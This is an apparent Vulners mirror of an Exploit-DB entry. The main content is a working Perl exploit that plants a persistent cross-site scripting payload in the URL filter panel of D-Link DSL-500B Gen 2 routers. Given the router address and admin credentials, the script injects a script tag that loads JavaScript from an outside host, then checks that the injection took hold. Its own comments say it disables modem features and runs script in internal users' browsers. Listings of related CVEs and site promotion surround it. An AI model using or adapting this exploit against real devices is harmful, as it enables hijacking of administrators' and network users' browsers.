Lucene search
+L

D-Link DSL-500B Gen 2 - URL Filter Configuration Panel Persistent Cross-Site Scripting

🗓️ 11 May 2015 00:00:00Reported by XLabs SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

D-Link DSL-500B Gen 2 XSS Injection in URL Filte

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
D-Link Router 2760N Cross Site Scripting Vulnerability
12 Nov 201300:00
zdt
attackerkb
ATTACKERKB
CVE-2013-5223
19 Nov 201300:00
attackerkb
circl
Circl
CVE-2013-5223
14 Jun 202321:10
circl
cisa_kev
CISA KEV Catalog
D-Link DSL-2760U Gateway Cross-Site Scripting Vulnerability
25 Mar 202200:00
cisa_kev
checkpoint_advisories
Check Point Advisories
D-Link DSL-2760U Gateway Cross Site Scripting (CVE-2013-5223)
5 Apr 202200:00
checkpoint_advisories
cve
CVE
CVE-2013-5223
15 Nov 201320:00
cve
cvelist
Cvelist
CVE-2013-5223
15 Nov 201320:00
cvelist
exploitdb
Exploit DB
D-Link DSL-500B Gen 2 - Parental Control Configuration Panel Persistent Cross-Site Scripting
11 May 201500:00
exploitdb
nvd
NVD
CVE-2013-5223
19 Nov 201304:50
nvd
packetstorm
Packet Storm
D-Link Router 2760N Cross Site Scripting
11 Nov 201300:00
packetstorm
Rows per page
#!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod URL Filter
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;

	my $ip = $ARGV[0];

	my $user = $ARGV[1];

	my $pass = $ARGV[2];


		if (@ARGV != 3){

			print "\n";
			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

		}else{

			$ip = $1 if($ip=~/(.*)\/$/);

			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "[+] Exploring $ip\/ ...\n";

			my $payload = "%3Cscript%20src%3D%27%2f%2fxlabs.com.br%2fxssi.js%27%3E%3C%2fscript%3E";

			my $ua = new LWP::UserAgent;

			my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );

			$hdrs->authorization_basic($user, $pass);

			chomp($ip);


			print "[+] Preparing exploit...\n";

			my $url_and_xpl = "$ip/todmngr.tod?action=set_url&TodUrlAdd=GameOver$payload&port_num=1234";

			my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

			print "[+] Prepared!\n";

			print "[+] Requesting and Exploiting...\n";

			my $resp = $ua->request($req);

			if ($resp->is_success){

			print "[+] Successfully Requested!\n";


				my $url = "$ip/todmngr.tod?action=urlview";

				$req = new HTTP::Request("GET",$url,$hdrs);

				print "[+] Checking that was explored...\n";


				my $resp2 = $ua->request($req);


				if ($resp2->is_success){

				my $resultado = $resp2->as_string;

							if(index($resultado, uri_unescape($payload)) != -1){

								print "[+] Successfully Exploited!";

							}else{

								print "[-] Not Exploited!";

							}
				}

			}else {

				print "[-] Ops!\n";
				print $resp->message;

			}


}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation